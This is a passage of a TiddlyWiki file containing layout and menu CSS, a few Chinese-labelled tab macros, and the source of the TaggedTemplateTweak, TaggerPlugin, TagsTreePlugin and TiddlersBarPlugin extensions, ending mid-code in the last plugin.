ul.suckerfish ul li a, ul.suckerfish ul li a:hover{
	display:inline-block;
	width:9em;
}

ul.suckerfish li {
	border-left: 1px solid #00558F;
}
/***** END COLORS AND APPEARANCE - DEFAULT *****/


/***** LAYOUT AND APPEARANCE: VERTICAL *****/
ul.suckerfish.vertical li{
	width:10em;
	border-left: 0px solid #00558f;
}

ul.suckerfish.vertical ul li, ul.suckerfish.vertical li a, ul.suckerfish.vertical li:hover a, ul.suckerfish.vertical li.sfhover a {
	border-left: 0.8em solid #00558f;
}

ul.suckerfish.vertical li a, ul.suckerfish.vertical li:hover a, ul.suckerfish.vertical li.sfhover a,  ul.suckerfish.vertical li.sfhover a:hover{
	width:8em;
}

ul.suckerfish.vertical {
	width:10em; text-align:left;
	float:left;
}

ul.suckerfish.vertical li a {
	padding: 0.5em 1em 0.5em 1em;
	border-top:1px solid  #fff;
}

ul.suckerfish.vertical, ul.suckerfish.vertical ul {
	line-height:1.4em;
}

ul.suckerfish.vertical li:hover ul, ul.suckerfish.vertical li.sfhover ul { 
	margin: -2.4em 0 0 10.9em;
}

ul.suckerfish.vertical li:hover ul li a, ul.suckerfish.vertical li.sfhover ul li a {
	border: 0px solid #FFF;
}

ul.suckerfish.vertical li:hover a, ul.suckerfish.vertical li.sfhover a{
	padding-right:1.1em;
}

ul.suckerfish.vertical li:hover ul li, ul.suckerfish.vertical li.sfhover ul li {
	border-bottom:1px solid  #fff;
}

/***** END LAYOUT AND APPEARANCE: VERTICAL *****/
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0em 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0em 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 .3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0em 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0em 0em 0em; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0em;}
.wizardFooter .status {padding:0em 0.4em 0em 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em 0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0em; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em 0.2em 0.2em 0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em 0.2em 0.2em 0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em 1em 1em 1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0em;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0em 0em 0.5em;}
.tab {margin:0em 0em 0em 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0em 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0em 1em;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0em 0.25em; padding:0em 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0em; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px 1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; right:0em;}
#backstageButton a {padding:0.1em 0.4em 0.1em 0.4em; margin:0.1em 0.1em 0.1em 0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 3em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
<<tabs txtMoreTab "未完成" "內容空白的文章" TabMoreMissing "未引用" "未被引用的文章" TabMoreOrphans "預設文章" "已預設內容的隱藏文章" TabMoreShadowed>>
<<list shadowed>>
<<allTags excludeLists>>
<<timeline>>
/***
|Name|TaggedTemplateTweak|
|Source|http://www.TiddlyTools.com/#TaggedTemplateTweak|
|Version|1.1.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|Story.prototype.chooseTemplateForTiddler()|
|Description|use alternative ViewTemplate/EditTemplate for tiddler's tagged with specific tag values|
The core function, "story.chooseTemplateForTiddler(title,template)" is essentially a "pass-thru" that returns the same template it was given, and is provided by the core so that plugins can customize the template selection logic to select alternative templates, based on whatever programmatic criteria is appropriate.  This tweak extends story.chooseTemplateForTiddler() so that ''whenever a tiddler is marked with a specific tag value, it can be viewed and/or edited using alternatives to the standard tiddler templates.'' 
!!!!!Usage
<<<
Each alternative template is associated with a specific tiddler tag value by using that tag value as a prefix added to the standard TiddlyWiki template titles, [[ViewTemplate]] and [[EditTemplate]].

For example, any tiddlers that are tagged with ''<<tag media>>'' will look for alternative templates named [[mediaViewTemplate]] and [[mediaEditTemplate]].  Additionally, in order to find templates that have proper WikiWord tiddler titles (e.g., [[MediaViewTemplate]] and [[MediaEditTemplate]]), the plugin will also attempt to use a capitalized form of the tag value (e.g., ''Media'') as a prefix.  //This capitalization is for comparison purposes only and will not alter the actual tag values that are stored in the tiddler.//

If no matching alternative template can be found by using //any// of the tiddler's tags (either "as-is" or capitalized), the tiddler defaults to using the appropriate standard [[ViewTemplate]] or [[EditTemplate]] definition.

''To add your own custom templates:''
>First, decide upon a suitable tag keyword to uniquely identify your custom templates and create custom view and/or edit templates using that keyword as a prefix (e.g., "KeywordViewTemplate" and "KeywordEditTemplate").  Then, simply create a tiddler and tag it with your chosen keyword... that's it!  As long as the tiddler is tagged with your keyword, it will be displayed using the corresponding alternative templates.  If you remove the tag or rename/delete the alternative templates, the tiddler will revert to using the standard viewing and editing templates.
<<<
!!!!!Examples
<<<
|Sample tiddler| tag | view template | edit template |
|[[MediaSample - QuickTime]]| <<tag media>> | [[MediaViewTemplate]] | [[MediaEditTemplate]] |
|[[MediaSample - Windows]]| <<tag media>> | [[MediaViewTemplate]] | [[MediaEditTemplate]] |
|[[CDSample]]| <<tag CD>> | [[CDViewTemplate]] | [[CDEditTemplate]] |
|<<newTiddler label:"create new task..." title:SampleTask tag:task text:"Type some text and then press DONE to view the task controls">> | <<tag task>> | [[TaskViewTemplate]] | [[EditTemplate]] |

//(note: if these samples are not present in your document, please visit// http://www.TiddlyTools.com/ //to view these sample tiddlers on-line)//
<<<
!!!!!Revisions
<<<
2007.06.23 [1.1.0] re-written to use automatic 'tag prefix' search instead of hard coded check for each tag.  Allows new custom tags to be used without requiring code changes to this plugin.
2007.06.11 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.taggedTemplate= {major: 1, minor: 1, revision: 0, date: new Date(2007,6,18)};
Story.prototype.taggedTemplate_chooseTemplateForTiddler = Story.prototype.chooseTemplateForTiddler
Story.prototype.chooseTemplateForTiddler = function(title,template)
{
	// get default template from core
	var template=this.taggedTemplate_chooseTemplateForTiddler.apply(this,arguments);

	// if the tiddler to be rendered doesn't exist yet, just return core result
	var tiddler=store.getTiddler(title); if (!tiddler) return template;

	// look for template whose prefix matches a tag on this tiddler
	for (t=0; t<tiddler.tags.length; t++) {
		var tag=tiddler.tags[t];
		if (store.tiddlerExists(tag+template)) { template=tag+template; break; }
		// try capitalized tag (to match WikiWord template titles)
		var cap=tag.substr(0,1).toUpperCase()+tag.substr(1);
		if (store.tiddlerExists(cap+template)) { template=cap+template; break; }
	}

	return template;
}
//}}}
/***
|''Name:''|~TaggerPlugin|
|''Version:''|1.0.1 (2006-06-01)|
|''Source:''|http://tw.lewcid.org//#TaggerPlugin|
|''Author:''|SaqImtiaz|
|''Description:''|Provides a drop down listing current tiddler tags, and allowing toggling of tags.|
|''Documentation:''|[[TaggerPluginDocumentation]]|
|''Source Code:''|[[TaggerPluginSource]]|
|''~TiddlyWiki:''|Version 2.0.8 or better|
***/
// /%
config.tagger={defaults:{label:"Tags: ",tooltip:"Manage tiddler tags",taglist:"true",excludeTags:"",notags:"tiddler has no tags",aretags:"current tiddler tags:",toggletext:"add tags:"}};config.macros.tagger={};config.macros.tagger.arrow=(document.all?"▼":"▾");config.macros.tagger.handler=function(_1,_2,_3,_4,_5,_6){var _7=config.tagger.defaults;var _8=_5.parseParams("tagman",null,true);var _9=((_8[0].label)&&(_8[0].label[0])!=".")?_8[0].label[0]+this.arrow:_7.label+this.arrow;var _a=((_8[0].tooltip)&&(_8[0].tooltip[0])!=".")?_8[0].tooltip[0]:_7.tooltip;var _b=((_8[0].taglist)&&(_8[0].taglist[0])!=".")?_8[0].taglist[0]:_7.taglist;var _c=((_8[0].exclude)&&(_8[0].exclude[0])!=".")?(_8[0].exclude[0]).readBracketedList():_7.excludeTags.readBracketedList();if((_8[0].source)&&(_8[0].source[0])!="."){var _d=_8[0].source[0];}if(_d&&!store.getTiddler(_d)){return false;}var _e=function(e){if(!e){var e=window.event;}var _11=Popup.create(this);var _12=store.getTags();var _13=new Array();for(var i=0;i<_12.length;i++){_13.push(_12[i][0]);}if(_d){var _15=store.getTiddler(_d);_13=_15.tags.sort();}var _16=_6.tags.sort();var _17=function(_18,_19,_1a){var sp=createTiddlyElement(createTiddlyElement(_11,"li"),"span",null,"tagger");var _1c=createTiddlyButton(sp,_18,_1a+" '"+_19+"'",taggerOnToggle,"button","toggleButton");_1c.setAttribute("tiddler",_6.title);_1c.setAttribute("tag",_19);insertSpacer(sp);if(window.createTagButton_orig_mptw){createTagButton_orig_mptw(sp,_19)}else{createTagButton(sp,_19);}};createTiddlyElement(_11,"li",null,"listTitle",(_6.tags.length==0?_7.notags:_7.aretags));for(var t=0;t<_16.length;t++){_17("[x]",_16[t],"remove tag ");}createTiddlyElement(createTiddlyElement(_11,"li"),"hr");if(_b!="false"){createTiddlyElement(_11,"li",null,"listTitle",_7.toggletext);for(var i=0;i<_13.length;i++){if(!_6.tags.contains(_13[i])&&!_c.contains(_13[i])){_17("[ ]",_13[i],"add tag ");}}createTiddlyElement(createTiddlyElement(_11,"li"),"hr");}var _1f=createTiddlyButton(createTiddlyElement(_11,"li"),("Create new tag"),null,taggerOnToggle);_1f.setAttribute("tiddler",_6.title);if(_d){_1f.setAttribute("source",_d);}Popup.show(_11,false);e.cancelBubble=true;if(e.stopPropagation){e.stopPropagation();}return (false);};createTiddlyButton(_1,_9,_a,_e,"button","taggerDrpBtn");};window.taggerOnToggle=function(e){var tag=this.getAttribute("tag");var _22=this.getAttribute("tiddler");var _23=store.getTiddler(_22);if(!tag){var _24=prompt("Enter new tag:","");if(_24!=""&&_24!=null){var tag=_24;if(this.getAttribute("source")){var _26=store.getTiddler(this.getAttribute("source"));_26.tags.pushUnique(_24);}}else{return false;}}if(!_23||!_23.tags){store.saveTiddler(_22,_22,"",config.options.txtUserName,new Date(),tag);}else{if(_23.tags.find(tag)==null){_23.tags.push(tag);}else{if(!_24){_23.tags.splice(_23.tags.find(tag),1);}}store.saveTiddler(_23.title,_23.title,_23.text,_23.modifier,_23.modified,_23.tags);}story.refreshTiddler(_22,null,true);if(config.options.chkAutoSave){saveChanges();}return false;};setStylesheet(".tagger a.button {font-weight: bold;display:inline; padding:0px;}\n"+".tagger #toggleButton {padding-left:2px; padding-right:2px; margin-right:1px; font-size:110%;}\n"+"#nestedtagger {background:#2E5ADF; border: 1px solid #0331BF;}\n"+".popup .listTitle {color:#000;}\n"+"","TaggerStyles");window.lewcidTiddlerSwapTag=function(_27,_28,_29){for(var i=0;i<_27.tags.length;i++){if(_27.tags[i]==_28){_27.tags[i]=_29;return true;}}return false;};window.lewcidRenameTag=function(e){var tag=this.getAttribute("tag");var _2d=prompt("Rename tag '"+tag+"' to:",tag);if((_2d==tag)||(_2d==null)){return false;}if(store.tiddlerExists(_2d)){if(confirm(config.messages.overwriteWarning.format([_2d.toString()]))){story.closeTiddler(_2d,false,false);}else{return null;}}tagged=store.getTaggedTiddlers(tag);if(tagged.length!=0){for(var j=0;j<tagged.length;j++){lewcidTiddlerSwapTag(tagged[j],tag,_2d);}}if(store.tiddlerExists(tag)){store.saveTiddler(tag,_2d);}if(document.getElementById("tiddler"+tag)){var _2f=document.getElementById(story.idPrefix+tag);var _30=story.positionTiddler(_2f);var _31=document.getElementById(story.container);story.closeTiddler(tag,false,false);story.createTiddler(_31,_30,_2d,null);story.saveTiddler(_2d);}if(config.options.chkAutoSave){saveChanges();}return false;};window.onClickTag=function(e){if(!e){var e=window.event;}var _34=resolveTarget(e);var _35=(!isNested(_34));if((Popup.stack.length>1)&&(_35==true)){Popup.removeFrom(1);}else{if(Popup.stack.length>0&&_35==false){Popup.removeFrom(0);}}var _36=(_35==false)?"popup":"nestedtagger";var _37=createTiddlyElement(document.body,"ol",_36,"popup",null);Popup.stack.push({root:this,popup:_37});var tag=this.getAttribute("tag");var _39=this.getAttribute("tiddler");if(_37&&tag){var _3a=store.getTaggedTiddlers(tag);var _3b=[];var li,r;for(r=0;r<_3a.length;r++){if(_3a[r].title!=_39){_3b.push(_3a[r].title);}}var _3d=config.views.wikified.tag;if(_3b.length>0){var _3e=createTiddlyButton(createTiddlyElement(_37,"li"),_3d.openAllText.format([tag]),_3d.openAllTooltip,onClickTagOpenAll);_3e.setAttribute("tag",tag);createTiddlyElement(createTiddlyElement(_37,"li"),"hr");for(r=0;r<_3b.length;r++){createTiddlyLink(createTiddlyElement(_37,"li"),_3b[r],true);}}else{createTiddlyText(createTiddlyElement(_37,"li",null,"disabled"),_3d.popupNone.format([tag]));}createTiddlyElement(createTiddlyElement(_37,"li"),"hr");var h=createTiddlyLink(createTiddlyElement(_37,"li"),tag,false);createTiddlyText(h,_3d.openTag.format([tag]));createTiddlyElement(createTiddlyElement(_37,"li"),"hr");var _40=createTiddlyButton(createTiddlyElement(_37,"li"),("Rename tag '"+tag+"'"),null,lewcidRenameTag);_40.setAttribute("tag",tag);}Popup.show(_37,false);e.cancelBubble=true;if(e.stopPropagation){e.stopPropagation();}return (false);};if(!window.isNested){window.isNested=function(e){while(e!=null){var _42=document.getElementById("contentWrapper");if(_42==e){return true;}e=e.parentNode;}return false;};}config.shadowTiddlers.TaggerPluginDocumentation="The documentation is available [[here.|http://tw.lewcid.org/#TaggerPluginDocumentation]]";config.shadowTiddlers.TaggerPluginSource="The uncompressed source code is available [[here.|http://tw.lewcid.org/#TaggerPluginSource]]";
// %/
/***
|''Name:''|TagsTreePlugin|
|''Description:''|Displays tags hierachy as a tree of tagged tiddlers.<br>Can be used to create dynamic outline navigation.|
|''Version:''|1.0.1|
|''Date:''|Jan 04,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0|
!Demo
On the plugin [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] :
*Try to tag some <<newTiddler>> with a tag displayed in the menu and edit MainMenu.
*Look at some tags like [[Plugins]] or [[menu]].
!Installation
#import the plugin,
#save and reload,
#optionally, edit TagsTreeStyleSheet.
! Usage
{{{<<tagsTree>>}}} macro accepts the following //optional// parameters.
|!#|!parameter|!description|!by default|
|1|{{{root}}}|Uses {{{root}}} tag as tree root|- In a //tiddler// content or template : uses the tiddler as root tag.<br>- In the //page// content or template (by ex MainMenu) : displays all untagged tags.|
|2|{{{excludeTag}}}|Excludes all such tagged tiddlers from the tree|Uses default excludeLists tag|
|3|{{{level}}}|Expands nodes until level {{{level}}}.<br>Value {{{0}}} hides expand/collapse buttons.|Nodes are collapsed on first level|
|4|{{{depth}}}|Hierachy depth|6 levels depth (H1 to H6 header styles)|
|5|{{{sortField}}}|Alternate sort field. By example : "index".|Sorts tags and tiddlers alphabetically (on their title)|
|6|{{{labelField}}}|Alertnate label field. By example : "label".|Displays tiddler's title|

!Useful addons
*[[FieldsEditorPlugin]] : //create//, //edit//, //view// and //delete// commands in toolbar <<toolbar fields>>.
*[[TaggerPlugin]] : Provides a drop down listing current tiddler tags, and allowing toggling of tags.
!Advanced Users
You can change the global defaults for TagsTreePlugin, like default {{{level}}} value or level styles, by editing or overriding the first config.macros.tagsTree attributes below.
!Code
***/
//{{{
config.macros.tagsTree = {
	expand : "+",
	collapse : "–",
	depth : 6,
	level : 1,
	sortField : "",	
	labelField : "",
	styles : ["h1","h2","h3","h4","h5","h6"],
	trees : {}
}

config.macros.tagsTree.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	var root = params[0] ? params[0] : (tiddler ? tiddler.title : null);
	var excludeTag = params[1] ? params[1] : "excludeTagsTree";
	var level = params[2] ? params[2] : config.macros.tagsTree.level;
	var depth = params[3] ? params[3] : config.macros.tagsTree.depth;
	var sortField = params[4] ? params[4] : config.macros.tagsTree.sortField;
	var labelField = params[5] ? params[5] : config.macros.tagsTree.labelField;
	var showButtons = (level>0);
	var id = config.macros.tagsTree.getId(place);
	if (config.macros.tagsTree.trees[id]==undefined) config.macros.tagsTree.trees[id]={};
	config.macros.tagsTree.createSubTree(place,id,root,excludeTag,[],level>0 ? level : 1,depth, sortField, labelField,showButtons);
}

config.macros.tagsTree.createSubTree = function(place, id, root, excludeTag, ancestors, level, depth, sortField, labelField,showButtons){
	var childNodes = root ? this.getChildNodes(root, ancestors) : this.getRootTags(excludeTag);
	var isOpen = (level>0) || (!showButtons);
	if (root && this.trees[id][root]!=undefined) isOpen = this.trees[id][root]; 
	if (root && ancestors.length) {
		var t = store.getTiddler(root);
		if (childNodes.length && depth>0) {
			var wrapper = createTiddlyElement(place , this.styles[Math.min(Math.max(ancestors.length,1),6)-1],null,"branch");
			if (showButtons) {
				b = createTiddlyButton(wrapper, isOpen ? config.macros.tagsTree.collapse : config.macros.tagsTree.expand, null, config.macros.tagsTree.onClick);
				b.setAttribute("treeId",id);
				b.setAttribute("tiddler",root);					
			}
			createTiddlyText(createTiddlyLink(wrapper, root),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
		}
		else 
			createTiddlyText(createTiddlyLink(place, root,false,"leaf"),t&&labelField ? t.fields[labelField] ? t.fields[labelField] : root : root);
	}
	if (childNodes.length && depth) {
		var d = createTiddlyElement(place,"div",null,"subtree");
		d.style.display= isOpen ? "block" : "none";
		if (sortField)
			childNodes.sort(function(a, b){
				var fa=a.fields[sortField];
				var fb=b.fields[sortField];
				return (fa==undefined && fb==undefined) ? a.title < b.title ? -1 : a.title > b.title ? 1 : 0 : (fa==undefined && fb!=undefined) ? 1 :(fa!=undefined && fb==undefined) ? -1 : fa < fb ? -1 : fa > fb ? 1 : 0;
			})
		for (var cpt=0; cpt<childNodes.length; cpt++)
			this.createSubTree(d, id, childNodes[cpt].title, excludeTag, ancestors.concat(root), level-1, depth-1, sortField, labelField, showButtons);	
	}	
}

config.macros.tagsTree.onClick = function(e){
	var id = this.getAttribute("treeId");
	var tiddler = this.getAttribute("tiddler");	
	var n = this.parentNode.nextSibling;
	var isOpen = n.style.display != "none";
	if(config.options.chkAnimate && anim && typeof Slider == "function")
		anim.startAnimating(new Slider(n,!isOpen,null,"none"));
	else
		n.style.display = isOpen ? "none" : "block";
	this.firstChild.nodeValue = isOpen ? config.macros.tagsTree.expand : config.macros.tagsTree.collapse;
	config.macros.tagsTree.trees[id][tiddler]=!isOpen;
	return false;
}

config.macros.tagsTree.getChildNodes = function(root ,ancestors){
	var childs = store.getTaggedTiddlers(root);
	var result = new Array();
	for (var cpt=0; cpt<childs.length; cpt++)
		if (childs[cpt].title!=root && ancestors.indexOf(childs[cpt].title)==-1) result.push(childs[cpt]);
	return result;
}

config.macros.tagsTree.getRootTags = function(excludeTag){
	var tags = store.getTags(excludeTag);
	tags.sort(function(a,b) {return a[0].toLowerCase() < b[0].toLowerCase() ? -1 : (a[0].toLowerCase() == b[0].toLowerCase() ? 0 : +1);});
	var result = new Array();
	for (var cpt=0; cpt<tags.length; cpt++) {
		var t = store.getTiddler(tags[cpt][0]);
		if (!t || t.tags.length==0) result.push(t ? t : {title:tags[cpt][0],fields:{}});
	}
	return result;
}

config.macros.tagsTree.getId = function(element){
	while (!element.id && element.parentNode) element=element.parentNode;
	return element.id ? element.id : "<html>";
}

config.shadowTiddlers.TagsTreeStyleSheet = "/*{{{*/\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".leaf, .subtree {display:block; margin-left : 0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".subtree {margin-bottom:0.5em}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="#mainMenu {text-align:left}\n";
config.shadowTiddlers.TagsTreeStyleSheet +=".branch .button {border:1px solid #DDD; color:#AAA;font-size:9px;padding:0 2px;margin-right:0.3em;vertical-align:middle;text-align:center;}\n";
config.shadowTiddlers.TagsTreeStyleSheet +="/*}}}*/";

store.addNotification("TagsTreeStyleSheet", refreshStyles); 

config.shadowTiddlers.MainMenu="<<tagsTree>>"

config.shadowTiddlers.PageTemplate = config.shadowTiddlers.PageTemplate.replace(/id='mainMenu' refresh='content' /,"id='mainMenu' refresh='content' force='true' ")

//}}}
/*{{{*/
.leaf, .subtree {display:block}

/* 設定 Tree 第一層的 left margin */ 
#mainMenu>.subtree {margin-left:0em}

.leaf {margin-left:0.2em; margin-bottom:0.2em; color:navy;}
.subtree {margin-left:0.8em;}

.branch .button {
   border:1px solid #DDD; color:#999;
   font-size:10px;padding:0 4px;
   margin-right:0.5em;
   vertical-align:middle;text-align:center;
}

/*}}}*/
/***
|''Name:''|TiddlersBarPlugin|
|''Description:''|A bar to switch between tiddlers through tabs (like browser tabs bar).|
|''Version:''|1.2.5|
|''Date:''|Jan 18,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0, others|
!Tips
*Doubleclick on the tiddlers bar (where there is no tab) create a new tiddler.
*Tabs include a button to close {{{x}}} or save {{{!}}} their tiddler.
*By default, click on the current tab close all others tiddlers.
!Configuration options 
<<option chkDisableTabsBar>> Disable the tabs bar (to print, by example).
<<option chkHideTabsBarWhenSingleTab >> Automatically hide the tabs bar when only one tiddler is displayed. 
<<option txtSelectedTiddlerTabButton>> ''selected'' tab command button.
<<option txtPreviousTabKey>> previous tab access key.
<<option txtNextTabKey>> next tab access key.
!Code
***/
//{{{
config.options.chkDisableTabsBar = config.options.chkDisableTabsBar ? config.options.chkDisableTabsBar : false;
config.options.chkHideTabsBarWhenSingleTab  = config.options.chkHideTabsBarWhenSingleTab  ? config.options.chkHideTabsBarWhenSingleTab  : false;
config.options.txtSelectedTiddlerTabButton = config.options.txtSelectedTiddlerTabButton ? config.options.txtSelectedTiddlerTabButton : "closeOthers";
config.options.txtPreviousTabKey = config.options.txtPreviousTabKey ? config.options.txtPreviousTabKey : "";
config.options.txtNextTabKey = config.options.txtNextTabKey ? config.options.txtNextTabKey : "";
config.macros.tiddlersBar = {
	tooltip : "see ",
	tooltipClose : "click here to close this tab",
	tooltipSave : "click here to save this tab",
	promptRename : "Enter tiddler new name",
	currentTiddler : "",
	previousState : false,
	previousKey : config.options.txtPreviousTabKey,
	nextKey : config.options.txtNextTabKey,	
	tabsAnimationSource : null, //use document.getElementById("tiddlerDisplay") if you need animation on tab switching.
	handler: function(place,macroName,params) {
		var previous = null;
		if (config.macros.tiddlersBar.isShown())
			story.forEachTiddler(function(title,e){
				if (title==config.macros.tiddlersBar.currentTiddler){
					var d = createTiddlyElement(null,"span",null,"tab tabSelected");
					config.macros.tiddlersBar.createActiveTabButton(d,title);
					if (previous && config.macros.tiddlersBar.previousKey) previous.setAttribute("accessKey",config.macros.tiddlersBar.nextKey);
					previous = "active";
				}
				else {
					var d = createTiddlyElement(place,"span",null,"tab tabUnselected");
					var btn = createTiddlyButton(d,title,config.macros.tiddlersBar.tooltip + title,config.macros.tiddlersBar.onSelectTab);
					btn.setAttribute("tiddler", title);
					if (previous=="active" && config.macros.tiddlersBar.nextKey) btn.setAttribute("accessKey",config.macros.tiddlersBar.previousKey);
					previous=btn;
				}
				var isDirty =story.isDirty(title);
				var c = createTiddlyButton(d,isDirty ?"!":"x",isDirty?config.macros.tiddlersBar.tooltipSave:config.macros.tiddlersBar.tooltipClose, isDirty ? config.macros.tiddlersBar.onTabSave : config.macros.tiddlersBar.onTabClose,"tabButton");
				c.setAttribute("tiddler", title);
				if (place.childNodes) {
					place.insertBefore(document.createTextNode(" "),place.firstChild); // to allow break line here when many tiddlers are open
					place.insertBefore(d,place.firstChild); 
				}
				else place.appendChild(d);
			})
	}, 
	refresh: function(place,params){
		removeChildren(place);
		config.macros.tiddlersBar.handler(place,"tiddlersBar",params);
